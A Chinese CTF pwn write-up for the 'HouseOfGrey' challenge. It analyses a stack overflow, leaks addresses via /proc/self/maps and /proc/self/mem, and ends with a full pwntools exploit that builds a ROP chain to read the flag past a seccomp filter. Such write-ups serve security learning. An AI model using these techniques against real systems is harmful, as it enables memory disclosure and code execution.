CTF-PWN-HouseOfGrey(栈溢出+maps泄露地址+mem泄露内存)

程序概述

[*] '/home/supergate/Desktop/Pwn/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

查看程序保护后发现保护全开

supergate@ubuntu:~/Desktop/Pwn$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x00 0x01 0x00000208  if (A != 0x208) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x15 0x00 0x01 0x40000208  if (A != 0x40000208) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0011
 0010: 0x06 0x00 0x00 0x00000000  return KILL
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

发现程序禁了execve,因此无法getshell,只能考虑将flag读出来。

在对程序主要逻辑进行分析后发现,程序使用mmap开辟一块空间,并且在这块空间内随机选取一个地方作为栈,如下面伪代码所示

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+1Bh] [rbp-25h]
  int stat_loc; // [rsp+1Ch] [rbp-24h]
  int fd; // [rsp+20h] [rbp-20h]
  __pid_t pid; // [rsp+24h] [rbp-1Ch]
  __int64 v7; // [rsp+28h] [rbp-18h]
  char *cp_stack; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  sub_555555554F35();
  puts("Welcome to my house! Enjoy yourself!\n");
  puts("Do you want to help me build my room? Y/n?");
  read(0, &buf, 4uLL);
  if ( buf == 'y' || buf == 'Y' )
  {
    fd = open("/dev/urandom", 0, a2);
    if ( fd < 0 )
    {
      perror("open");
      exit(1);
    }
    read(fd, &v7, 8uLL);
    close(fd);
    v7 &= 0xFFFFF0u; //随机选取一块当作栈空间
    cp_stack = (char *)mmap(0LL, 0x10000000uLL, 3, 0x20022, -1, 0LL);//开辟内存空间
    if ( cp_stack == (char *)-1LL )
    {
      perror("mmap");
      exit(1);
    }
    pid = clone((int (*)(void *))fn, &cp_stack[v7], 256, 0LL);//使用clone函数开启新的进程
    if ( pid == -1 )
    {
      perror("clone");
      exit(1);
    }
    waitpid(pid, &stat_loc, 0x80000000);
    if ( stat_loc & 0x7F )
      puts("\nMaybe something wrong? Build failed!");
    else
      puts("\nBuild finished! Thanks a lot!");
    exit(0);
  }
  puts("You don't help me? OK, just get out of my hosue!");
  exit(0);
}

新的进程调用了fn函数,根据逻辑和内容可以判断,该函数的主要功能是:

  • 打开一个文件
  • 将文件指针前移指定字节
  • 读出该文件的指定长度的内容
  • 向堆上一个地址写入0x200长度的内容

但是所有操作总共只能执行30次

伪代码如下

void __fastcall fn(void *arg)
{
  unsigned __int64 offset; // ST28_8
  int fd; // [rsp+10h] [rbp-70h]
  signed int i; // [rsp+14h] [rbp-6Ch]
  int v4; // [rsp+1Ch] [rbp-64h]
  int v5; // [rsp+1Ch] [rbp-64h]
  void *v6; // [rsp+20h] [rbp-60h]
  char buf[24]; // [rsp+30h] [rbp-50h]
  void *v8; // [rsp+48h] [rbp-38h]
  char nptr; // [rsp+50h] [rbp-30h]
  unsigned __int64 v10; // [rsp+78h] [rbp-8h]
  __int64 savedregs; // [rsp+80h] [rbp+0h]

  v10 = __readfsqword(0x28u);
  puts("You get into my room. Just find something!\n");
  v6 = malloc(0x186A0uLL);
  if ( !v6 )
  {
    perror("malloc");
    exit(1);
  }
  if ( (unsigned int)sub_5555555554D2() )
    exit(1);
  v8 = v6;
  for ( i = 0; i <= 29; ++i )
  {
    Menu();
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        puts("So man, what are you finding?");
        buf[(signed int)((unsigned __int64)read(0, buf, 0x28uLL) - 1)] = 0;
        if ( (unsigned int)check1(buf) )
        {
          puts("Man, don't do it! See you^.");
          exit(1);
        }
        fd = open(buf, 0);
        if ( fd < 0 )
        {
          perror("open");
          exit(1);
        }
        return;
      case 2u:
        puts("So, Where are you?");
        read(0, &nptr, 0x20uLL);
        offset = strtoull(&nptr, 0LL, 10);
        lseek(fd, offset, 0);
        break;
      case 3u:
        puts("How many things do you want to get?");
        read(0, &nptr, 8uLL);
        v4 = atoi(&nptr);
        if ( v4 <= 100000 )
        {
          v5 = read(fd, v8, v4);
          if ( v5 < 0 )
          {
            puts("error read");
            perror("read");
            exit(1);
          }
          puts("You get something:");
          write(1, v8, v5);
        }
        else
        {
          puts("You greedy man!");
        }
        break;
      case 4u:
        puts("What do you want to give me?");
        puts("content: ");
        read(0, v8, 0x200uLL);
        break;
      case 5u:
        exit(0);
        return;
      default:
        continue;
    }
  }
  puts("\nI guess you don't want to say Goodbye!");
  puts("But sadly, bye! Hope you come again!\n");
  exit(0);
}

漏洞分析

根据上面的伪代码可以发现在执行第一个功能的时候,输入的文件名存在buf中,这个地方可以溢出到v8处,然后再执行第四个功能的时候,就可以进行任意地址写入
但在这之前我们需要知道 程序运行的地址子进程运行时的栈地址,这里需要用到两个系统文件。由于程序提供了我们除了flag任意读取的功能,所以可以尝试提取以下两个文件的信息
/proc/self/maps 来获取各程序段的内存地址,可以获得程序运行的真实地址以及mmap的地址

    '555555554000-555555556000 r-xp 00000000 08:01 525075                     /home/supergate/Desktop/Pwn/pwn\n'
    '555555756000-555555757000 r--p 00002000 08:01 525075                     /home/supergate/Desktop/Pwn/pwn\n'
    '555555757000-555555758000 rw-p 00003000 08:01 525075                     /home/supergate/Desktop/Pwn/pwn\n'
    '555555758000-555555791000 rw-p 00000000 00:00 0                          [heap]\n'
    '7fffe7a0d000-7ffff7a0d000 rw-p 00000000 00:00 0 \n'
    '7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1706314                    /lib/x86_64-linux-gnu/libc-2.23.so\n'
    '7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1706314                    /lib/x86_64-linux-gnu/libc-2.23.so\n'
    '7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1706314                    /lib/x86_64-linux-gnu/libc-2.23.so\n'
    '7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1706314                    /lib/x86_64-linux-gnu/libc-2.23.so\n'
    '7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 \n'
    '7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1706286                    /lib/x86_64-linux-gnu/ld-2.23.so\n'
    '7ffff7fdb000-7ffff7fde000 rw-p 00000000 00:00 0 \n'
    '7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]\n'
    '7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]\n'
    '7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1706286                    /lib/x86_64-linux-gnu/ld-2.23.so\n'
    '7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1706286                    /lib/x86_64-linux-gnu/ld-2.23.so\n'
    '7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 \n'
    '7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]\n'
    'ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]\n'

mmap分配的数据在heap和stack之间,查阅资料可以知道,在heap之后的一排即为分配的地址
但是如上面所说,栈地址是从分配的地址中随机选取的一片空间,因此我们需要找到真正的栈地址。这个时候我们可以利用/proc/self/mem,这个文件相当于程序内存的一个映射,可以理解为储存了该程序内存内容。但是这个文件只能打印出已经被映射的内存,未映射的内存打印出来会报错。所以需要通过/proc/self/maps得到程序的基地址

同时,每次我们可以打印出10w个字节,而且30次中,扣除必要的操作数,我们还剩下24次打印字节的次数,所以总共能够打印出240w个字节。通过查找程序中的内容(提示语句等),可以知道是否已经达到当前栈地址。

但是mmap分配的数量比较大,所以成功打印出来的概率只有百分之十左右,但是在可接受范围内

最后通过open,read,puts将flag输出即可

exp

from pwn import *

context.log_level='debug'

p=remote('111.198.29.45',32188)
#p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

def openfile(filepath):
    p.recvuntil("Exit\n")
    p.sendline("1")
    p.sendlineafter("finding?\n",filepath)

def inputoffset(offset):
    p.recvuntil("Exit\n")
    p.sendline("2")
    p.sendlineafter("you?\n",str(offset))

def getcontent():
    p.recvuntil("Exit\n")
    p.sendline("3")
    p.sendlineafter("get?\n","100000")

def inputcontent(content):
    p.recvuntil("Exit\n")
    p.sendline("4") 
    p.sendlineafter("content: \n",content)   

p.recvuntil('Y/n?\n')
p.sendline('y')

openfile("/proc/self/maps")
getcontent()
p.recvuntil("You get something:\n")
elf.base=int(p.recvuntil("-")[:-1],16)
log.info("elf.base =========> %x"%elf.base)

while True:
    temp=p.recvline()
    if "heap" in temp:
	mmap_addr=int(p.recvuntil("-")[:-1],16)
        p.recvline()
	libc.base=int(p.recvuntil("-")[:-1],16)
	break

log.info("mmap address =====> %x"%mmap_addr)
log.info("libc base ========> %x"%libc.base)

openfile("/proc/self/mem")
inputoffset(mmap_addr)
for i in range(24):
    getcontent()
    p.recvuntil("You get something:\n")
    memcontent=p.recvuntil("1.Find").split("1.Find")[0]
    if "/proc/self/mem" in memcontent:
	befcontent=memcontent.split("/proc/self/mem")[0]
	buf_addr=mmap_addr+i*100000+len(befcontent)
	ret_addr=buf_addr-0x38
	log.info("ret_addr ========> %x"%ret_addr)
	break

    if i==23:
	log.info("Not found")
	exit(0)

open_addr=elf.base+elf.plt['open']
read_addr=elf.base+elf.plt['read']
puts_addr=elf.base+elf.plt['puts']
log.info("open address ======> %x"%open_addr)
pop_rdi=elf.base+0x1823
pop_rsi_r15=elf.base+0x1821

payload="/proc/self/mem".ljust(0x18,'\x00')+p64(ret_addr)
openfile(payload)

stroffset=15*8
payload=p64(pop_rdi)+p64(ret_addr+stroffset)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(open_addr)
payload+=p64(pop_rdi)+p64(6)+p64(pop_rsi_r15)+p64(ret_addr+stroffset)+p64(0)+p64(read_addr)
payload+=p64(pop_rdi)+p64(ret_addr+stroffset)+p64(puts_addr)
payload+='/home/ctf/flag\x00'
inputcontent(payload)
p.interactive()

你可能感兴趣的:(CTF-PWN)